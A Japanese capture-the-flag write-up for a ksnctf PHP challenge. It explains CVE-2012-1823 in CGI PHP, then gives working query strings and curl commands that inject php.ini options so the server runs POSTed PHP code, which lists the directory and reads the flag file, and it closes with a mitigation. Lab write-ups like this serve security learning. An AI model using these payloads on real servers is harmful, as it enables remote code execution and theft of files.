Hypertext Preprocessor
https://ksnctf.sweetduet.info/problem/12
phpに関する問題.
問題にはURLがあり取り合ず開いてみると以下のような数字が羅列されたサイトが表示された.
サイト更新すると右の6個の数字が変化していた.20:21が2021年,07:12が現在の日(7月12日)を表していていると思われるが,それ以降の数字は現在の時間(17時19分)ではないため時間ではない.ランダムな値っぽい.
左の2012:1823がよくわからないので調べてみる.
CVE-2012-1823という脆弱性があるよう.CVEとはCommon Vulnerabilities and Exposuresの略で脆弱性の情報を集めたデータベーで,そのデータベースの2012:1823というものが今回の問題で使われる脆弱性である.
CVE-2012-1823
CVE-2012-1823とは,CGI版PHPにリモートからスクリプト実行を許す脆弱性らしい.
phpにはモジュール版とCGI版がある.モジュール版はphpをApache(ウェブサーバーソフトウェアでのことで,世界中で使われる)のRootユーザーで実行する方法で,処理が速い.CGI版はphpをApacheのRootではない任意のユーザーで実行する方法で,セキュリティや安全性に優れている.詳しいことはここ.
CGIはCommon Gateway Interfaceの略で,「動的webサイトの仕組み」のこと.動的ウェブサイトとはアクセスした状況によって異なる内容が表示されるウェブサイトのことで,たとえばユーザーが書き込むことで内容が増える掲示板サイトやブログ、表示内容がユーザーごとに違うショッピングサイトや会員制サイトなどがある.詳しいことはここ.
CVE-2012-1823については,徳丸浩の日記というブログが分かりやすかった.
CGIの仕様として、クエリ文字列に等号を含めない場合は、クエリ文字列がCGIスクリプトのコマンドライン引数として指定される.ブログの例にならって,-sオプションをつけ**https://ctfq.u1tramarine.blue/q12/?-s**でソースコードを表示してみる.
<?php
// Flag is in this directory.
date_default_timezone_set('UTC');
$t = '2012:1823:20:';
$t .= date('y:m:d:H:i:s');
for($i=0;$i<4;$i++)
$t .= sprintf(':%02d',mt_rand(0,59));
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Clock</title>
<style>
body
{
background: black;
}
p
{
color: red;
font-size: xx-large;
font-weight: bold;
text-align: center;
margin-top: 200px;
}
</style>
</head>
<body>
<p><?php echo $t; ?></p>
</body>
</html>
表示されていた数字の左から4~9文字はUTC時間の年:月:日:時間:分:秒に対応していて,後ろの4つは0~59のランダムな数字を表示していることが分かった.
重要なヒントとして**Flag is in this directory.**と書かれていて,flagはこのディレクトリにあることが分かる.
どうにかして同じディレクトリにあるflagを取得したい.その方法として,CVE-2012-1823の脆弱性をつく攻撃をする.
解く
phpオプションの-dをつかってphp.iniの設定を変更する.
具体的には
allow_url_include=On
auto_prepend_file=php://input
をクエリ文字列に含める.これによって外部から指定したphpスクリプトを実行できるようになる.
https://ctfq.u1tramarine.blue/q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input
flagが同じディレクトリにあるのはわかっているが,ファイル名が分からないので,まず同じディレクトリに存在するファイルを取得したい.コマンドプロンプロで以下を実行する.
curl https://ctfq.u1tramarine.blue/q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -X POST -d "<?php echo print_r(scandir('.'));?>"
curl はhttpリクエストを簡単に送ることができるコマンドで,curl URLでURLのレスポンスを受け取ることができる.今回は**-X POST -d** でデータ(phpスクリプト)を付与してPOSTリクエストを送る.レスポンスは以下のようになった.
Array
(
[0] => .
[1] => ..
[2] => .htaccess
[3] => flag_flag_flag.txt
[4] => index.php
[5] => php.cgi
)
flag_flag_flag.txtの中身を見たい.以下のようにする.
curl https://ctfq.u1tramarine.blue/q12/?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input -X POST -d "<?php echo readfile('flag_flag_flag.txt');?>"
flagが得られた.
まとめ
phpの脆弱性をついた攻撃ができた.最近のphpの脆弱性についても気になった.
はじめはpythonのrequestsとか使って解こうと思っていたけど,curlで簡単にリクエストを送ることができて便利だった.
php-cgiにコマンドライン引数を渡さないようにphpを設定すればこの問題を回避できる.